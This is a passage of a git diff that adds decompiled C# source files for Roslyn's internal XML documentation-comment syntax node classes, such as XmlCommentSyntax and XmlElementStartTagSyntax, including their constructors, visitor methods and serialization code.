{ + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endCDataToken); + this.endCDataToken = endCDataToken; + } + + internal XmlCDataSectionSyntax(SyntaxKind kind, SyntaxToken startCDataToken, GreenNode? textTokens, SyntaxToken endCDataToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startCDataToken); + this.startCDataToken = startCDataToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endCDataToken); + this.endCDataToken = endCDataToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => startCDataToken, + 1 => textTokens, + 2 => endCDataToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlCDataSectionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlCDataSection(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlCDataSection(this); + } + + public XmlCDataSectionSyntax Update(SyntaxToken startCDataToken, SyntaxList textTokens, SyntaxToken endCDataToken) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (startCDataToken != StartCDataToken || textTokens != TextTokens || endCDataToken != EndCDataToken) + { + XmlCDataSectionSyntax xmlCDataSectionSyntax = SyntaxFactory.XmlCDataSection(startCDataToken, textTokens, endCDataToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlCDataSectionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlCDataSectionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlCDataSectionSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlCDataSectionSyntax, (IEnumerable)annotations); + } + return xmlCDataSectionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlCDataSectionSyntax(base.Kind, startCDataToken, textTokens, endCDataToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlCDataSectionSyntax(base.Kind, startCDataToken, textTokens, endCDataToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlCDataSectionSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + startCDataToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + textTokens = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + endCDataToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)startCDataToken); + writer.WriteValue((IObjectWritable)(object)textTokens); + writer.WriteValue((IObjectWritable)(object)endCDataToken); + } + + static XmlCDataSectionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlCDataSectionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlCDataSectionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCommentSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCommentSyntax.cs new file mode 100644 index 0000000..32afae8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCommentSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlCommentSyntax : XmlNodeSyntax +{ + internal readonly SyntaxToken lessThanExclamationMinusMinusToken; + + internal readonly GreenNode? textTokens; + + internal readonly SyntaxToken minusMinusGreaterThanToken; + + public SyntaxToken LessThanExclamationMinusMinusToken => lessThanExclamationMinusMinusToken; + + public SyntaxList TextTokens => new SyntaxList(textTokens); + + public SyntaxToken MinusMinusGreaterThanToken => minusMinusGreaterThanToken; + + internal XmlCommentSyntax(SyntaxKind kind, SyntaxToken lessThanExclamationMinusMinusToken, GreenNode? textTokens, SyntaxToken minusMinusGreaterThanToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanExclamationMinusMinusToken); + this.lessThanExclamationMinusMinusToken = lessThanExclamationMinusMinusToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)minusMinusGreaterThanToken); + this.minusMinusGreaterThanToken = minusMinusGreaterThanToken; + } + + internal XmlCommentSyntax(SyntaxKind kind, SyntaxToken lessThanExclamationMinusMinusToken, GreenNode? textTokens, SyntaxToken minusMinusGreaterThanToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanExclamationMinusMinusToken); + this.lessThanExclamationMinusMinusToken = lessThanExclamationMinusMinusToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)minusMinusGreaterThanToken); + this.minusMinusGreaterThanToken = minusMinusGreaterThanToken; + } + + internal XmlCommentSyntax(SyntaxKind kind, SyntaxToken lessThanExclamationMinusMinusToken, GreenNode? textTokens, SyntaxToken minusMinusGreaterThanToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanExclamationMinusMinusToken); + this.lessThanExclamationMinusMinusToken = lessThanExclamationMinusMinusToken; + if (textTokens != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(textTokens); + this.textTokens = textTokens; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)minusMinusGreaterThanToken); + this.minusMinusGreaterThanToken = minusMinusGreaterThanToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => lessThanExclamationMinusMinusToken, + 1 => textTokens, + 2 => minusMinusGreaterThanToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlCommentSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlComment(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlComment(this); + } + + public XmlCommentSyntax Update(SyntaxToken lessThanExclamationMinusMinusToken, SyntaxList textTokens, SyntaxToken minusMinusGreaterThanToken) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (lessThanExclamationMinusMinusToken != LessThanExclamationMinusMinusToken || textTokens != TextTokens || minusMinusGreaterThanToken != MinusMinusGreaterThanToken) + { + XmlCommentSyntax xmlCommentSyntax = SyntaxFactory.XmlComment(lessThanExclamationMinusMinusToken, textTokens, minusMinusGreaterThanToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlCommentSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlCommentSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlCommentSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlCommentSyntax, (IEnumerable)annotations); + } + return xmlCommentSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlCommentSyntax(base.Kind, lessThanExclamationMinusMinusToken, textTokens, minusMinusGreaterThanToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlCommentSyntax(base.Kind, lessThanExclamationMinusMinusToken, textTokens, minusMinusGreaterThanToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlCommentSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lessThanExclamationMinusMinusToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + textTokens = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + minusMinusGreaterThanToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)lessThanExclamationMinusMinusToken); + writer.WriteValue((IObjectWritable)(object)textTokens); + writer.WriteValue((IObjectWritable)(object)minusMinusGreaterThanToken); + } + + static XmlCommentSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlCommentSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlCommentSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCrefAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCrefAttributeSyntax.cs new file mode 100644 index 0000000..62015cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlCrefAttributeSyntax.cs @@ -0,0 +1,171 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlCrefAttributeSyntax : XmlAttributeSyntax +{ + internal readonly XmlNameSyntax name; + + internal readonly SyntaxToken equalsToken; + + internal readonly SyntaxToken startQuoteToken; + + internal readonly CrefSyntax cref; + + internal readonly SyntaxToken endQuoteToken; + + public override XmlNameSyntax Name => name; + + public override SyntaxToken EqualsToken => equalsToken; + + public override SyntaxToken StartQuoteToken => startQuoteToken; + + public CrefSyntax Cref => cref; + + public override SyntaxToken EndQuoteToken => endQuoteToken; + + internal XmlCrefAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, CrefSyntax cref, SyntaxToken endQuoteToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)cref); + this.cref = cref; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal XmlCrefAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, CrefSyntax cref, SyntaxToken endQuoteToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)cref); + this.cref = cref; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal XmlCrefAttributeSyntax(SyntaxKind kind, XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, CrefSyntax cref, SyntaxToken endQuoteToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsToken); + this.equalsToken = equalsToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)startQuoteToken); + this.startQuoteToken = startQuoteToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)cref); + this.cref = cref; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endQuoteToken); + this.endQuoteToken = endQuoteToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => name, + 1 => equalsToken, + 2 => startQuoteToken, + 3 => cref, + 4 => endQuoteToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlCrefAttributeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlCrefAttribute(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlCrefAttribute(this); + } + + public XmlCrefAttributeSyntax Update(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, CrefSyntax cref, SyntaxToken endQuoteToken) + { + if (name != Name || equalsToken != EqualsToken || startQuoteToken != StartQuoteToken || cref != Cref || endQuoteToken != EndQuoteToken) + { + XmlCrefAttributeSyntax xmlCrefAttributeSyntax = SyntaxFactory.XmlCrefAttribute(name, equalsToken, startQuoteToken, cref, endQuoteToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlCrefAttributeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlCrefAttributeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlCrefAttributeSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlCrefAttributeSyntax, (IEnumerable)annotations); + } + return xmlCrefAttributeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlCrefAttributeSyntax(base.Kind, name, equalsToken, startQuoteToken, cref, endQuoteToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlCrefAttributeSyntax(base.Kind, name, equalsToken, startQuoteToken, cref, endQuoteToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlCrefAttributeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + XmlNameSyntax xmlNameSyntax = (XmlNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlNameSyntax); + name = xmlNameSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + equalsToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + startQuoteToken = syntaxToken2; + CrefSyntax crefSyntax = (CrefSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)crefSyntax); + cref = crefSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endQuoteToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)equalsToken); + writer.WriteValue((IObjectWritable)(object)startQuoteToken); + writer.WriteValue((IObjectWritable)(object)cref); + writer.WriteValue((IObjectWritable)(object)endQuoteToken); + } + + static XmlCrefAttributeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlCrefAttributeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlCrefAttributeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlDocCommentLocation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlDocCommentLocation.cs new file mode 100644 index 0000000..d2e7c3f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlDocCommentLocation.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal enum XmlDocCommentLocation +{ + Start = 0, + Interior = 1, + Exterior = 2, + End = 4 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlDocCommentStyle.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlDocCommentStyle.cs new file mode 100644 index 0000000..566eb3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlDocCommentStyle.cs @@ -0,0 +1,7 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal enum XmlDocCommentStyle +{ + SingleLine, + Delimited +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementEndTagSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementEndTagSyntax.cs new file mode 100644 index 0000000..1e4d87f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementEndTagSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlElementEndTagSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken lessThanSlashToken; + + internal readonly XmlNameSyntax name; + + internal readonly SyntaxToken greaterThanToken; + + public SyntaxToken LessThanSlashToken => lessThanSlashToken; + + public XmlNameSyntax Name => name; + + public SyntaxToken GreaterThanToken => greaterThanToken; + + internal XmlElementEndTagSyntax(SyntaxKind kind, SyntaxToken lessThanSlashToken, XmlNameSyntax name, SyntaxToken greaterThanToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanSlashToken); + this.lessThanSlashToken = lessThanSlashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal XmlElementEndTagSyntax(SyntaxKind kind, SyntaxToken lessThanSlashToken, XmlNameSyntax name, SyntaxToken greaterThanToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanSlashToken); + this.lessThanSlashToken = lessThanSlashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal XmlElementEndTagSyntax(SyntaxKind kind, SyntaxToken lessThanSlashToken, XmlNameSyntax name, SyntaxToken greaterThanToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanSlashToken); + this.lessThanSlashToken = lessThanSlashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => lessThanSlashToken, + 1 => name, + 2 => greaterThanToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementEndTagSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlElementEndTag(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlElementEndTag(this); + } + + public XmlElementEndTagSyntax Update(SyntaxToken lessThanSlashToken, XmlNameSyntax name, SyntaxToken greaterThanToken) + { + if (lessThanSlashToken != LessThanSlashToken || name != Name || greaterThanToken != GreaterThanToken) + { + XmlElementEndTagSyntax xmlElementEndTagSyntax = SyntaxFactory.XmlElementEndTag(lessThanSlashToken, name, greaterThanToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + xmlElementEndTagSyntax = GreenNodeExtensions.WithDiagnosticsGreen(xmlElementEndTagSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + xmlElementEndTagSyntax = GreenNodeExtensions.WithAnnotationsGreen(xmlElementEndTagSyntax, (IEnumerable)annotations); + } + return xmlElementEndTagSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new XmlElementEndTagSyntax(base.Kind, lessThanSlashToken, name, greaterThanToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new XmlElementEndTagSyntax(base.Kind, lessThanSlashToken, name, greaterThanToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal XmlElementEndTagSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + lessThanSlashToken = syntaxToken; + XmlNameSyntax xmlNameSyntax = (XmlNameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)xmlNameSyntax); + name = xmlNameSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + greaterThanToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)lessThanSlashToken); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)greaterThanToken); + } + + static XmlElementEndTagSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(XmlElementEndTagSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new XmlElementEndTagSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementStartTagSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementStartTagSyntax.cs new file mode 100644 index 0000000..72edd59 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/XmlElementStartTagSyntax.cs @@ -0,0 +1,174 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class XmlElementStartTagSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken lessThanToken; + + internal readonly XmlNameSyntax name; + + internal readonly GreenNode? attributes; + + internal readonly SyntaxToken greaterThanToken; + + public SyntaxToken LessThanToken => lessThanToken; + + public XmlNameSyntax Name => name; + + public SyntaxList Attributes => new SyntaxList(attributes); + + public SyntaxToken GreaterThanToken => greaterThanToken; + + internal XmlElementStartTagSyntax(SyntaxKind kind, SyntaxToken lessThanToken, XmlNameSyntax name, GreenNode? attributes, SyntaxToken greaterThanToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal XmlElementStartTagSyntax(SyntaxKind kind, SyntaxToken lessThanToken, XmlNameSyntax name, GreenNode? attributes, SyntaxToken greaterThanToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal XmlElementStartTagSyntax(SyntaxKind kind, SyntaxToken lessThanToken, XmlNameSyntax name, GreenNode? attributes, SyntaxToken greaterThanToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)lessThanToken); + this.lessThanToken = lessThanToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + if (attributes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributes); + this.attributes = attributes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)greaterThanToken); + this.greaterThanToken = greaterThanToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => lessThanToken, + 1 => name, + 2 => attributes, + 3 => greaterThanToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.XmlElementStartTagSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlElementStartTag(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlElementStartTag(this); + } + + public XmlElementStartTagSyntax Update(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken greaterThanToken) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken != LessThanToken || name != Name || attributes != Attributes || greaterThanToken != GreaterThanToken) + { + XmlElementStartTagSyntax xmlElementStartTagSyntax = SyntaxFactory.XmlElementStartTag(lessThanToken, name, attributes, greaterThanToken); + DiagnosticInfo[] diagnostics = 